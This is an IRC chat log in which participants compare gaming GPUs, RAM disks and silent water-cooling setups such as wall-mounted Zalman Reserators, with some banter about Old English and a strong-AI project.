catalyst is up to 9.something :D 19:55:20 I've got a system better than that. And it's low-end 3 year old hardware. 19:55:21 wow, xp service pack 2! 19:55:23 TWO! 19:55:28 yeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah 19:55:32 The test systems' Windows desktop was set at 1280x1024 in 32-bit color at an 85Hz screen refresh rate. Vertical refresh sync (vsync) was disabled for all tests. 19:55:38 ahahahahah 19:56:20 hahahahah: 19:56:21 I've got a lower refresh, but that's because my LCD's somewhat cheap. 19:56:26 bsmntbombdood: http://techreport.com/r.x/acard-ans9010/worldbench-overall.gif 19:56:37 bsmntbombdood: RAID-0ing two of those ramdisks? 19:56:38 But man. I outspecced their test system 3 years ago. 19:56:42 only 8 points better than a x25-m 19:56:44 And I was buying *old hardware*. 19:56:56 ehird: OTHER END OF SATA 19:56:59 end of discussion 19:57:00 160gb for cheaper than 16gb and the same performance hmmmmmmmmmmmmmmmmmmm. 19:57:01 bsmntbombdood: i kno 19:57:02 w 19:57:04 it's just so silly 19:57:07 pikhq: they're prolly using a crt 19:57:20 ehird: Yeah. 19:57:25 Thus 85 Hz. 19:58:51 ehird: they didn't raid0 two of them 19:58:57 ehird: each one has 2 sata interfaces 19:59:02 bsmntbombdood: oh lawd 19:59:11 * ehird closes article, too retarded 19:59:29 bsmntbombdood: also, I'm not sure I should get a 295 19:59:39 bsmntbombdood: it's two gpus 19:59:50 bsmntbombdood: it is probably more effective to use two of the best single nvidia gpus 19:59:51 yeah 19:59:55 "Now the GTX 295 is a bit of a weird combo. See, it has the memory volume and frequency of two GTX 260 cards yet the raw shader processor horsepower of two GeForce GTX 280 cards. " 19:59:59 gets more memory power too 20:00:07 280 is discontinued though 20:00:09 so 275 20:00:18 2x275 is at least as good as a 295 20:00:22 and more effective for cooling etc 20:00:40 the sad thing is, with a one line command, i can have a ramdisk half the size of theirs that is much cheaper and a zillion times faster 20:00:48 indeed 20:01:05 literally, a zillion times 20:01:33 One line command? 20:01:40 /dev/shm seems to exist without me trying. 20:01:44 :p 20:01:53 bsmntbombdood: ooh, there's a better single gpu than the 275 20:01:55 a 285 20:02:00 2x285 >>>>>>>>>>>>>>>>>>>>>>>>>>>>> 295 20:02:04 probably comparable power usage too 20:02:31 DISADVANTAGE OF WATER COOLING: First it drains your pocket, then it allows you to drain your pocket. 20:02:46 Then your pocket shrivels and dies. 20:03:52 bsmntbombdood: on the 295: "you can rest assured that when these two GPU's are fully utilized the card can peak towards 289 watts power consumption" 20:03:54 ouch 20:04:54 bsmntbombdood: if I get 2x285, you have to buy me crysis, okay? 20:05:02 otherwise that's just a waste ;) 20:05:51 pikhq: mount -t tmpfs -o size=8G tmpfs /mnt/faster-than-you 20:06:15 bsmntbombdood: 8G is a bit big if you only have 12G of ram 20:06:31 Mem: 12040 11888 152 0 7022 3344 20:06:31 -/+ buffers/cache: 1520 10519 20:06:43 bsmntbombdood: well sure but then you're left with only 4 20:06:49 i'd recommend a 4G ramdisk 20:06:53 so you have 8G left 20:06:57 Only 4G of RAM! Whatever shall you do with so little 20:07:00 bsmntbombdood: Fair enough. 20:07:47 but if you are backing it up it might be easier to use a ram device 20:07:52 because then you can just dd it 20:08:23 Deewiant: Die? 20:08:27 I sure would! 20:08:47 what's the differences between the buffers and cached line anyway? 20:09:26 bsmntbombdood: kernel reserves a fuckton of memory for usage later 20:09:36 buffers/cache line subtracts that from the usage 20:09:44 so you can know what's actually being used 20:10:26 no,,,, 20:10:37 the first line 20:10:50 bsmntbombdood: wait whut? 20:10:51 "buffers - 7107; cached - 3360" 20:10:55 oh. 20:10:56 dunno 20:12:32 bsmntbombdood: yep, 285 SLI kicks the shit out of a 295 20:12:37 http://www.anandtech.com/video/showdoc.aspx?i=3501&p=2 start of benchmarks 20:12:38 orly? 20:12:41 -!- inurinternet has joined. 20:12:42 yep 20:12:45 even on ATI-lovin' games 20:12:55 hmm 20:13:00 same as a 280 sli on that though 20:13:02 which is odd 20:13:18 Ah. 20:13:21 Ah, wow. 20:13:21 i think it's a waste of money either way 20:13:22 http://images.anandtech.com/graphs/gtx285launch_011509005146/18001.png 20:13:28 95 FPS at 2560x1600 4xaa. 20:13:34 That's slightly ridiculous. 20:13:38 slightly 20:13:40 *scrolls to crysis* 20:14:00 ohmagad. 20:14:04 http://images.anandtech.com/graphs/gtx285launch_011509005146/17996.png 20:14:09 that's just ridiculous 20:14:15 22 FPS! 20:14:20 ... although how come the gtx 280 beats the 285? 20:14:26 It doesn't 20:14:31 Deewiant: I'm talking about the sli configuraitons 20:14:34 *configurations 20:14:43 ehird: The difference is so small I'd chalk it up to error 20:14:47 yeah, prolly 20:14:52 ! 20:15:00 Deewiant: ps your card only gets 18fps haha looooser 20:15:09 i'm not seeing an i7 motherboard that supports more than 24 gb of ram 20:15:14 Like there's a difference between 22 and 18 :-P 20:15:40 bsmntbombdood: i'm not seeing a consumer use-case that requires more than 24 gb of ram 20:15:58 I'm not seeing a consumer use-case that requires more than 4 GB of RAM 20:16:00 ehird: Then you haven't seen the latest line of games! 20:16:11 Deewiant: it's ok to be a little excessive 20:16:20 pikhq: oh, and that stupid sata ramdisk does have a battery good for about 4 hrs 20:16:26 RAMSuckerShootShootShoot alone requires 16GB 20:16:40 GregorR-L: NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO 20:16:59 GregorR-L: does it require a quad-SLI of gtx 295s too? 20:17:02 maybe a render farm on the side 20:17:11 It's "recommended" 20:17:47 i don't think you can have more than 4 gpus 20:17:58 -!- KingOfKarlsruhe has joined. 20:18:05 bsmntbombdood: why not 20:18:17 because sli doesn't support it 20:18:18 bsmntbombdood: Heh. 20:18:26 bsmntbombdood: lame 20:18:32 quad-SLI of gtx 285s, then 20:18:46 but the Asus Mars can be quad SLI'd. 20:18:53 that's 8 in total 20:18:58 "The GeForce GTX 295 comes with a 289 watt TDP (peak wattage). Since your motherboard can only deliver 75 watts, you'll need to hook it up to a PSU" 20:19:03 Reaaaaaaaaaaaaaaaaaaaaally?!!?!?!?237836248761238123 20:19:04 (and 16GB of VRAM) 20:19:22 Asztal: ah, it's two gtx 285s? 20:19:28 pretty much, yes 20:19:35 amazing 20:20:01 -!- Corun has changed nick to Corun|away. 20:20:38 hmm 20:20:44 how much faster is gddr? 20:20:45 ehird: Most new GPUs these days need to be hooked up to a PSU. 20:20:50 why not use it for core? 20:20:52 Deewiant: thus my sarcasm 20:21:02 bsmntbombdood: what we need is thin clients + 5 billion lines of fiber-optics to communicate w/ the thick servers 20:21:04 OK 20:21:12 cooling vs silence: SOLVED. 20:21:35 ehird: *shrug* 20:21:42 just put a dvi and usb cable through the wall 20:21:44 SOLVED. 20:22:25 bsmntbombdood: yeah i could totally not hear a 4x asus mars sli + 2x nehalem xeons @ 4ghz + 2x 1200watt psu in another room 20:22:33 everyone knows that walls block all noise entirely 20:22:46 -!- tombom_ has joined. 20:22:59 This picture rated X for violence. 20:23:11 this picture rated x for xtrem 20:23:13 e 20:23:57 This picture rated R for Romance 20:24:21 this picture rated p for people having intercourse 20:26:18 This picture rated G for Gore. 20:26:30 this is what 137dpi looks like: 20:26:37 http://imggur.com/RAORj.png 20:26:39 er 20:26:40 http://imgur.com/RAORj.png 20:26:42 (typed out of vm) 20:26:57 err wait 20:27:12 that's what 164 dpi looks like 20:27:16 Resize picture-viewing window to be 10" :P 20:29:35 if you have a 96dpi monitor, 20:29:47 * GregorR-L stabs ehird's eyes out. 20:29:48 750x600 is the right size 20:29:52 GregorR-L: what 20:29:53 That's what 0 dpi looks like. 20:30:05 GregorR-L: See my note about resizing. 20:30:59 ........................... 20:31:06 GregorR-L: What. 20:31:14 That had nothing to do with any of that, I was just poking your eyes out so you can see what 0 dpi looks like. 20:31:21 Oh. 20:31:23 Oh. I see. 20:31:26 Very clever. Har har. 20:32:05 ehird: fan noise, mostly 20:32:19 bsmntbombdood: Wut? 20:32:25 bsmntbombdood: and yeah 20:32:30 but the fans needed to cool that shit = huge 20:34:13 GRRRRRRRRRRRRREEEEEEEEEEEEEEEEN 20:34:36 shrug 20:35:20 Þis picture rated Þ for gratuitous uſe of þorn. 20:35:31 gratuitous amounts of pornography 20:37:17 pix 20:37:33 bsmntbombdood: new cooling system 20:37:35 Dear me, I say, the pornography in this picture would have been acceptable 10 minutes ago, but now it's just gratuitous. 20:37:42 your system goes in a thin box 20:37:44 and is moved to finland 20:37:49 cables are connected to it underwater 20:38:00 or perhaps antarctica 20:38:04 latency's lower from finland 20:38:29 GregorR-L: However, it is alſo gratis. Surely þat's important‽ 20:38:56 one day I'm going to start talking in real, bona-fide olde english 20:38:59 -!- inurinternet has quit (Connection timed out). 20:39:02 and you're all going to be FUCKED 20:39:06 meter fourically 20:39:15 -!- inurinternet has joined. 20:39:40 -!- tombom has quit (Read error: 110 (Connection timed out)). 20:39:40 -!- tombom_ has changed nick to tombom. 20:39:53 It'll be difficult for you to say "esoteric programming language" in "bona-fide" Old English. 20:40:20 GregorR-L: esoterice language of the magicke movinge stones 20:41:40 GregorR-L: no? 20:42:18 interest 20:42:21 interesting* 20:42:32 Hwæt! wē Gār-Dena in geār-dagum, þeod-cyninga, þrym gefrunon, hu ða æþelingas ellen fremedon. 20:42:44 lifthrasiir, Adding polynoms both made the generated code better and worse at the same time... Trying to fix back the cases where it is now worse 20:43:05 mostly due to other optimisation passes knowing more tricks for the old nodes... 20:44:46 bsmntbombdood: i am jealous of you. you and your noise-carelessness. 20:44:52 if only I could be that desensitive :P 20:45:09 (*insensitive?) 20:45:29 wait, the reserator pushes 300l/hr not 30l/hr :-D 20:45:49 Hwaet! wē Gār-Dena in geār-dagum, theod-cyninga, thrym gefrunon, hu ða aethelingas ellen fremedon. <-- care to translate 20:45:58 AnMaster: Sure: 20:46:14 AnMaster: "Listen! We have heard of the glory of the Spear-Danes, of the kings of the people, in days of yore, [and] how those princes did deeds of glory." 20:46:27 hmh 20:46:27 From Beowulf: http://en.wikipedia.org/wiki/Old_English_language#Beowulf 20:46:29 mhm* 20:46:40 I'm clearly going to have to ask for translation a lot from now on... 20:46:58 how loud is a waterblock? 20:47:15 bsmntbombdood: a good one? Uh, 0dB. 20:47:27 Probably bad ones too. 20:47:32 It's pumps that make noise. 20:47:53 bsmntbombdood: I mean, it does nothing. 20:47:57 so put the pump somewhere else 20:47:58 It doesn't push anything, it just is. 20:48:02 ehird: turbulence 20:48:06 bsmntbombdood: Yes, that's what I'm going to do 20:48:09 -!- Corun|away has changed nick to Corun. 20:48:13 By mounting it on the wall of the stairs 20:48:14 http://imgur.com/RAORj.png <--- the image metadata says it is 72 dpi... 20:48:16 (The reserator) 20:48:22 AnMaster: That's irrelevant; what dpi is your display? 20:48:31 I'll tell you the appropriate resolution 20:48:36 ehird, 86 iirc. 80-something anyway 20:48:50 ehird, and I'm using gimps "not pixel for pixel" mode 20:49:04 so if metadata was correct it would show as right size 20:49:09 AnMaster: Set gimp to a-pixel-is-a-pixel, then resize it to 671x600. 20:49:10 so yes it is relevant 20:49:21 AnMaster: Set gimp to a-pixel-is-a-pixel, then resize it to 671x600. <-- doing it that way is broken :P 20:49:34 And it'll look right (modulo blurriness due to your monitor's dpi being lower than what the image was designed for) 20:49:44 AnMaster: Blame ubuntu's screenshot too 20:49:45 l 20:50:18 AnMaster: Set gimp to a-pixel-is-a-pixel, then resize it to 671x600. <-- that doesn't keep the aspect ratio. 20:50:28 AnMaster: Just do it, I know it'll work :P 20:50:36 I worked it out and everything 20:50:37 for 671 gimp suggests 537 20:50:40 which is very much off 20:50:45 Hm, wait 20:50:48 I think I got it the wrong way around 20:51:07 AnMaster: 671.54 pixels TIMES something. 20:51:19 AnMaster: For a more clarcut one, make it 600 second-dimension. 20:51:24 And let it choose the first dimension. 20:51:32 For perfect results, get out a ruler :P 20:51:35 750x600? 20:51:44 ehird, for perfect results use correct metadata :P 20:52:00 AnMaster: 671x537 20:52:06 Get it to as close as that as it'll be happy with 20:52:18 20:50 AnMaster: for 671 gimp suggests 537 20:52:19 Well then 20:52:19 Use that 20:52:36 ehird, that is what I said -_- 20:52:40 AnMaster: With linear interpolation 20:52:46 linear? huh 20:52:50 Does best for scaling down text and stuff. 20:53:02 Although at such a low dpi I'm not sure you could notice :P 20:53:51 ehird, that is a very small screen! 20:54:03 AnMaster: Measure its diagonal size 20:54:05 It should be 10" 20:54:12 And yeah, 10" is small. Netbook-size. 20:54:25 ehird, about 25 cm? 20:54:34 AnMaster: yes 20:54:36 AnMaster: But it'd be a lot better on the actual thing. 20:54:40 It's for a laptop; you have it a lot closer. 20:54:44 It's high-dpi, so it's sharper. 20:54:46 ehird, are you still getting that speed monster too 20:54:46 etc 20:54:52 AnMaster: That's the main priority 20:55:03 The netbook requires a sufficiently high DPI OLED display; so come back in a year or something 20:55:17 AnMaster: The speed monster is what I'm watercooling w/ that gigantic passive radiator. 20:55:38 ehird, heh 20:56:13 ehird, the pump will still be noisy 20:56:14 bbiab 20:56:18 AnMaster: Nope. 20:56:27 AnMaster: The 5 watt pump in the Reserator is inaudible. 20:56:37 Even moreso if you add a drop of washing up liquid (seriously) 20:56:47 AnMaster: Also, I'm mounting it on the wall of another room. 20:56:51 (The stairs opposite this room.) 20:58:08 bsmntbombdood: btw, the same basic idea as watercooling is used in heatpipe heatsinks 20:58:15 zalman totally no noise is basically watercooling sans the water 20:58:20 with the case as the radiator 20:59:24 ehird: not 20:59:30 bsmntbombdood: howso 20:59:50 there's a phase change inheat pipes 20:59:59 i said basically 21:00:07 also bsmntbombdood uh no 21:00:09 that's a loop heat pipe 21:00:15 != heat pipe 21:00:21 huh? 21:00:35 bsmntbombdood: regular heat pipes are single-phase 21:02:07 no 21:02:17 wikipedia said it therefore it is true. 21:02:21 how would that even work 21:02:39 wait, that was talking about another thing 21:02:45 even so, heatpipes != phase 21:03:31 yes 21:03:37 that's what a heatpipe is 21:03:46 your mom 21:05:54 i wonder how many watercooled psus there are 21:06:17 i've only seen 1 or 2 21:06:58 bsmntbombdood: well you just need a fanless psu 21:07:02 and put a waterblock on it 21:07:19 http://www.koolance.com/water-cooling/product_info.php?product_id=665 21:07:21 bad idea 21:07:27 bsmntbombdood: that one's submerged 21:07:29 which is überlame 21:07:29 there are hot heatsinks 21:07:32 uberlame? 21:07:35 yes. 21:07:35 more like ubercool 21:07:39 i hate submersion :) 21:07:52 bsmntbombdood: also, why bad idea 21:07:56 it's just like cooling a hot cpu 21:08:06 you'll fuck it up 21:08:10 a cpu has a single heatsink 21:08:14 there's tons in a psu 21:08:26 there are psus designed to run fanlessly 21:08:31 w/ some airflow 21:08:37 putting a waterblock on them would run fine 21:10:13 hmph 21:10:18 Silverstone's max fanless psu is 450w 21:10:30 lame as a lame thing 21:11:10 * ehird looks around some more 21:11:15 what's wrong with submersion? 21:11:22 bsmntbombdood: dunno, just don't like it 21:11:50 seems pretty ideal to me 21:11:59 bsmntbombdood: also, that psu has way too high wwattage 21:12:00 *wattag 21:12:00 e 21:12:12 doesn't even look to be 80% efficient 21:13:39 * ehird calculates power usage for his rig-o-matic 21:15:18 344watt @ 85% cpu tdp, 90% load, 0 capacitor aging 21:15:33 w/ 100% tdp, 100% load 402w 21:15:53 that but w/ 20% capacitor aging = 482w 21:16:20 if we say gtx 295 instead of 285, and same settings as last, 566w 21:16:29 so i only need 500w 21:17:08 bsmntbombdood: so 1700w is amazingly wasteful&excessive. 21:17:14 for, well... anything. 21:23:31 bsmntbombdood: 'pparently with a zalman reserator you still need one low-rpm case fan 21:23:33 i don't see why though 21:23:41 as long as you put absolutely everything that makes any heat into the loop 21:24:43 -!- inurinternet has quit (Read error: 113 (No route to host)). 21:26:39 bsmntbombdood: any idea why? 21:36:40 you can't put everything that makes heat in the loop 21:36:50 bsmntbombdood: why not 21:36:52 or you end up like this: 21:36:55 northbridge, ram, gpu, ... 21:36:59 perfectly possible. 21:38:57 bsmntbombdood: your google is slow 21:38:59 you should grease it 21:40:00 yeah, i can't remember what it was called 21:40:04 bsmntbombdood: what was it? 21:40:26 a setup where he put a waterblock on every single heat producing component 21:40:32 what happened 21:41:05 here we go 21:41:06 http://forums.overclockers.com.au/showthread.php?t=744914 21:41:23 it worked, it's just totally ridiculous 21:41:36 bsmntbombdood: well i don't mean everything that produces heat 21:41:45 everything that produces heat that would actually need a heatsink or airflow of any kind 21:41:58 i really don't see why you'd need a case fan 21:42:05 just about everything needs to be cooled somehow 21:42:45 bsmntbombdood: northbridge, gpu, gpu ram, cpu, ram, psu 21:42:49 and you've covered most everything 21:43:08 ehird: southbridge too, and the power circuitry for the cpu 21:43:22 bsmntbombdood: do those make enough heat to need any sort of cooling? 21:43:26 i'd imagine the heat would just waft off 21:43:33 they have a heatsink on them 21:43:40 bsmntbombdood: leave that on, then 21:43:44 -!- psygnisf_ has quit ("Leaving..."). 21:43:48 sinks need airflow 21:43:53 bsmntbombdood: put a waterblock on, then 21:44:04 bsmntbombdood: btw. 21:44:06 that gets really impractical really fast 21:44:07 yes they need airflow 21:44:13 but your case almost certainly has some holes in it 21:44:23 i highly doubt it needs more than a trickle of air moving about aimlessly 21:44:23 and 2 120mm case fans are quiet 21:44:30 it's just cheaper and easier to do that 21:44:40 yes. they're quiet. but if you're gonna get a fan, you might as well aircool 21:45:07 1 psu fan, 1 cpu fan, 1 gfx card fan, 1 intake, 1 exhaust = 5 fans; if you get really good 120mm fans, barely more audible than 2 fans 21:45:07 http://www.overclockers.com.au/images/monolith/DSC02981-600.jpg 21:45:14 "The top of the pump after running for a few hours got really damn hot, so i decided to cool it." 21:45:14 :P 21:45:25 the attraction of watercooling, to me, is running without any fans. 21:45:42 bsmntbombdood: the pump's in a cold room 21:45:44 for me 21:45:56 bsmntbombdood: and as I said: 21:45:58 http://www.overclockers.com.au/images/monolith/DSC03035-600.jpg 21:45:59 21:44 ehird: but your case almost certainly has some holes in it 21:45:59 21:44 ehird: i highly doubt it needs more than a trickle of air moving about aimlessly 21:46:09 that's what happens when you try to watercool everything 21:46:21 i'm pretty sure you could just poke out the exhaust fan grill on the back of your case 21:46:25 and let the air flow by itself 21:46:32 for such minor heatsources as what you said 21:46:56 bsmntbombdood: no? 21:47:01 hdds also get pretty hot with no airflow 21:47:13 bsmntbombdood: i'm putting my data hd in a fanless enclosur 21:47:14 e 21:47:16 100% thick copper 21:47:21 also, you can buy HD waterblocks 21:47:57 did you read that thread? 21:48:00 AnMaster: Also, I'm mounting it on the wall of another room. <-- heh 21:48:04 bsmntbombdood: i'm reading it 21:48:15 he made his own hdd waterblocks 21:48:22 bsmntbombdood: right well, you can buy 'em 21:48:24 ehird, I want 100% passive cooling. 21:48:28 heat pipes 21:48:31 AnMaster: zalman totally no noise 21:48:35 AnMaster: but the pump is inaudible 21:48:37 ehird, no fan at all? 21:48:38 way more so than any fan 21:48:47 AnMaster: a reserator system can have no fan 21:48:49 I'm almost certian 21:48:51 that's my goal 21:49:00 AnMaster: and yes, zalman tnn = case is radiator, heatpipes 21:49:01 reserator? 21:49:10 AnMaster: giant radiator + reservoir + pump 21:49:12 fanless 21:49:19 is it a brand name or? 21:49:23 AnMaster: it's made by Zalman 21:49:40 ah so that explains why all google results seemed to be about a specific product 21:49:42 AnMaster: disadvantage is that it can't dissipate too much heat (so put two of them together), and it heats the room 21:49:49 for the latter... 21:49:56 ehird, all cooling systems heat the room 21:49:59 or somewhere else 21:50:00 yes 21:50:01 but this moreso 21:50:03 ANY COOLING SYSTEM HEATS THE ROOM 21:50:05 GODDAMN 21:50:07 ehird, hm 21:50:10 no, not moreso 21:50:10 bsmntbombdood: YOU CAN REPEAT AnMaster 21:50:11 WELL DONE 21:50:19 and "moreso" didn't mean that 21:50:32 unless you use a peltier 21:50:32 but fact is, an air-based system won't be a gigantic space heater like the reserator 21:50:36 ehird, what about only heatpipes... 21:50:48 that's what totally no noise does. it cannot cool anywhere near as much as WC 21:50:49 and passive heatsinks 21:50:59 ehird, of course it can't cool as much! 21:50:59 ehird: yes, it will 21:51:02 AnMaster: go forwards a bit from where my computer will be and you reach a wall. drill some holes through that wall. mount the two reserators w/ brackets on the wall. feed pipes through 21:51:09 done 21:51:18 bsmntbombdood: no, it won't 21:51:20 ehird, WC can cool below ambient temperature iirc 21:51:21 (assertion match fuck yeah) 21:51:25 AnMaster: it cannot 21:51:27 unless I'm confusing things 21:51:34 and that isn't about how much heat the radiator lets out 21:51:36 that's cpu temperatures 21:51:38 Oh wait I'm mixing it up with compressor 21:51:41 silly 21:52:04 the hardest part of mounting the reserators 21:52:07 is that they're 8kg when filled 21:52:17 do you think a radiator just magically creates heat somehow? 21:52:22 bsmntbombdood: no 21:52:26 you're not reading what I'm saying 21:52:29 ehird, you need special support structures then 21:52:30 to do it 21:52:32 ANY COOLING SYSTEM HEATS THE ROOM // you could refrigerate the room and redirect the heat outside. 21:52:36 AnMaster: yes, brackets. 21:52:39 then how will it heat the room more than air cooling 21:52:48 GregorR-L, sure. But that isn't relevant! 21:52:53 bsmntbombdood: it won't. the point is the concentration in one space, and the lack of moving air 21:52:58 AnMaster: Neither is your face. 21:53:24 GregorR, I never said that the look of my face was relevant to this discussion... 21:53:42 -!- inurinternet has joined. 21:54:18 anyway 21:54:28 (two reserators mounted above my head in an unused staircase)->coolness 21:54:30 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 21:54:36 (two reserators sitting in my room)->coolness 21:56:03 bsmntbombdood: so nyah. 21:56:14 nyah, i say 21:56:15 NYAH 21:56:41 oerjan, http://www.irregularwebcomic.net/archive.html is messed up too 21:57:18 ehird, got a good pic of that reserator? 21:57:28 AnMaster: yep, sec 21:57:40 AnMaster: http://www.zalman.co.kr/DataFile/product/RESERATOR-1-V2_01_b(0).jpg 21:57:48 it's the big metal tower with the fins, in case you're confused. :p 21:58:10 (that * 2) + wall-mounting + drilled holes in walls = silent, heatless water cooling from my position 21:59:46 -!- inurinternet has quit. 22:00:04 -!- inurinternet has joined. 22:00:10 well 22:00:12 'part from coil whine 22:02:43 hey bsmntbombdood 22:02:52 http://www.feser-one.com/site/popup_image2.php?pID=322 22:02:53 18.75"x5.85"x4.10" (LxWxH) 22:02:57 dissipates 2000 watts 22:03:18 AnMaster: you mean that empty space at May 16, pushing everything out? 22:03:23 what temperature? 22:03:28 bsmntbombdood: err 22:03:31 it dissipates 2000 watts 22:03:33 oerjan, mm 22:03:43 bsmntbombdood: as in, your system can go to 2000 watts of heat 22:03:50 and it'll dissipate it into the air successfully 22:03:54 a reserator manages 200w 22:03:55 ehird, whoa 22:04:03 uhhuh 22:04:05 ehird, is it the 8 kg thing 22:04:07 at what temperature 22:04:08 no 22:04:17 the 8kg is 6kg reserator + 2.5 litres of water 22:04:30 bsmntbombdood: ... do you understand what i'm saying? 22:04:56 ehird, how do you top up the water in it... 22:05:07 AnMaster: you don't really have to top it up 22:05:12 but to replace... drain it 22:05:13 open it up 22:05:15 pour water in 22:05:17 close 22:05:19 mhm 22:05:20 run it for a whil 22:05:21 e 22:05:22 use 22:05:34 AnMaster: hm, 2318 shows up in the correct place in the themed archive 22:05:35 bsmntbombdood: 2000 watts of heat = 2000 watts of heat 22:05:36 run it for a while <-- ? 22:05:40 a radiator can't magically remove heat 22:05:45 oerjan, oh? 22:05:52 AnMaster: if you turn on your computer while the tubes are empty it could overheat 22:05:59 before the water gets to it 22:06:00 under Steve and Terry, as expected 22:06:02 oerjan, I'm actually suspecting this isn't intentional any more... 22:06:06 so you run just the watercooling for a while 22:06:14 ehird, true 22:06:57 err 22:07:11 grammar fail above 22:07:33 obviously 22:07:46 grammar is so failure 22:07:50 bsmntbombdood: but for a regular room I imagine dissipating 2000 watts would make it burn you if you touch it 22:08:01 or at least sting a lot 22:08:06 can't be more precise than that :) 22:08:18 ..which is too hot for your cpu 22:08:24 errrrrrrrm 22:08:30 bsmntbombdood: it's the radiator heating the air around it 22:08:36 no change to cpu temps. 22:08:38 2000 wasps, on the other hand... 22:08:46 it's just where the hot water goes... 22:08:56 if the radiator is hot enough to burn, the water going through it is, and so the cpu is too 22:09:13 bsmntbombdood: well 22:09:20 some cpus give up to like 900 watts of heat 22:09:26 so i may be overestimating 22:09:29 /shrug 22:09:35 maxing out a 2,000 watt radiator would be hard 22:09:38 900 watts? 22:09:40 it's just how much it can theoretically disperse 22:09:45 bsmntbombdood: according to a quick google 22:09:48 seems excessive 22:09:49 dunno 22:09:55 but anyway, it's just a theoretical maximum 22:09:59 what cpu dissipates 900watts? 22:10:10 dunno 22:10:23 not possible 22:10:34 yeah 22:10:38 think the person saying it was a retard :) 22:10:46 you can move that much heat through something the size of a cpu heatspreader 22:11:06 and you'd need a gigantic psu 22:11:18 yeah 22:11:18 but w/e 22:11:25 who cares about how much heat it can dissipate as long as it's enough 22:13:56 bsmntbombdood: but ofc, if you're dissipating 2000 watts you'd better fucking have a fan on the radiator 22:15:14 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:22:32 "Project wants strong AI within 8 years in giant distributed system and your computer could be a part of it." 22:22:38 Gee, I sure hope it's friendly :P 22:23:20 oh i'm sure my computer _would_ be a part of it. whether i signed up or not. :D 22:23:37 Will this project make public some of its source code? 22:23:37 Yes. 22:23:38 Will this project describe how knowledge is represented in the brain? 22:23:40 No. 22:23:43 thanks, jackasses 22:23:54 "Let's completely revolutionize humanity. But first, PROFIT!!!!!" 22:24:16 Why not make public the mechanisms of knowledge representation in the brain? 22:24:16 Security is our main concern. As long as this concern is not addressed, it is in everyone's best interest that certain knowledge is restricted. 22:24:18 Boolshat. 22:25:11 -!- kar8nga has quit (Remote closed the connection). 22:25:40 [[We intend to build a system that has the brain capacity of all people living in the world. This way we can ensure that no one will be left behind.]] 22:25:43 NO BRAIN LEFT BEHIND 22:30:03 strong ai in 8 years 22:30:04 ok lol 22:30:34 right, so 22:30:42 they want to make a psycho MPD ai? 22:30:42 are there any 8 core opterons or xeons? 22:30:43 bsmntbombdood: i wonder if it holds that since a reserator can handle a bit over 200w of heat, two of them can handle a bit over 400 22:30:49 also, no 22:30:54 there are 6 core old xeons 22:30:54 ehird: yes 22:30:59 (old = core 2 days, iirc) 22:31:23 bsmntbombdood: hmm then 400 watts should be enough to cool i7 + gtx 295 22:31:28 i think 22:31:54 YOUR FACE ASPLOTE 22:31:54 watercooling that gtx is gonna be a bitch 22:31:59 you'll have to dissasemble it completely 22:32:06 ehird, what is this project? 22:32:10 bsmntbombdood: erm, for values of taking the heatsink off 22:32:13 AnMaster: stupid 22:32:17 ehird: there's two boards though 22:32:20 ehird, who is behind it? 22:32:23 bsmntbombdood: yeah, so I gotta detach them 22:32:28 AnMaster: stupid noname company 22:32:33 AnMaster: see reddit 22:32:35 I see 22:32:37 bsmntbombdood: big deal 22:32:48 bsmntbombdood: other option: 2x285 or just 1x285 22:33:07 two 285's will be far easier i think 22:33:20 bsmntbombdood: also far more expensive 22:33:26 285~=$400 295=$500 22:33:26 also, nvidia says the 295 takes 289 watts 22:33:28 *~=$500 22:33:37 +140 for the i7 = 429 22:33:43 bsmntbombdood: should be fine 22:33:52 as i said, reserator can handle a bit above 200, let's say 210 22:33:58 *2 = 420 22:34:05 so it could probably handle it 22:34:10 pushing it 22:34:12 (410 being an underestimate) 22:34:21 bsmntbombdood: or I could just get that massive radiator) 22:34:25 s/\)// 22:34:32 bsmntbombdood: or I could get 3xreserators 22:34:35 go to the junk yard 22:34:39 = 1230watt 22:34:39 get a car radiator :D 22:34:42 bsmntbombdood: nothx 22:35:08 bsmntbombdood: also, companies tend to overestimate 22:35:09 apart from intel 22:35:12 +os("\n\nYou are standing at a junction. The path north continues along the sheer\ncliff and leads to a high plateau. Directly south you can see the tangled\ntrees an 22:35:12 d vines of a small forest. In the distance, to the west, you can see\nthe small village that you now call home.\n"); 22:35:14 :) 22:35:18 it'll actually be like 390, I imagine 22:35:31 the spurious line break due to using less 22:35:31 like i said, you're pushing it 22:35:44 bsmntbombdood: lemme look at reserator's manual 22:36:34 why does everyone like micro-atx boards 22:36:37 so tiny 22:36:54 bsmntbombdood: cuz it's tiny 22:37:02 i like to have room to work 22:37:11 people like having space. 22:37:23 most people aren't enthusiasts, or are buying a non-main pc 22:37:44 WATX for the win! 22:37:46 ;P 22:37:58 what 22:38:08 oh wtx is bigger atx 22:38:12 AnMaster: eATX nowadays 22:38:25 mhm 22:38:32 I like the name "workstation ATX" though 22:38:33 bigger is better 22:38:41 bsmntbombdood: so buy an eatx mobo 22:38:45 ehird, always liked the word "workstation" 22:38:46 :) 22:38:54 compyootah 22:39:02 :/ 22:39:02 workstation is kind of a dumb word 22:39:09 bsmntbombdood, oh? 22:39:11 bsmntbombdood: this manual is shit, it doesn't tell you how much heat it can dissipate 22:39:26 bsmntbombdood, "Sun Workstation". From the 80s. Sound so nice 22:39:30 bsmntbombdood: but i really don't want to diy :P 22:39:34 Sounds* 22:39:39 (having said that it is now inevitable, such is my life) 22:39:40 yeah, now you can execute bf programs in my counterstrike source server 22:39:49 KingOfKarlsruhe: Uh, wonderful. 22:39:51 I so want to do that. 22:39:57 "hey fagut u suk" "wel ,[.,] to u" 22:40:01 ehird: like this Egobot here 22:40:09 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 22:40:12 KingOfKarlsruhe, errr 22:40:32 ehird: why not? 22:40:32 oh THAT counterstrike 22:40:49 all our counters are on strike 22:40:50 it's written in the Pawn language, Soucemod 22:41:14 bsmntbombdood: more fuss & the reserator looks pretty & mounting a separate rad/pump would sort of be a pain and also feels more like just putting the whole computer there 22:41:24 oerjan, that explains why this is a while loop instead of a for one! 22:41:51 "The Reserator V2 must be used with the provided G200 coolant. The use of other coolants with the Reserator V2 can cause damage to the Reserator V2 unit, as well as the CPU and VGA jackets." 22:41:55 pfft yeah right 22:42:01 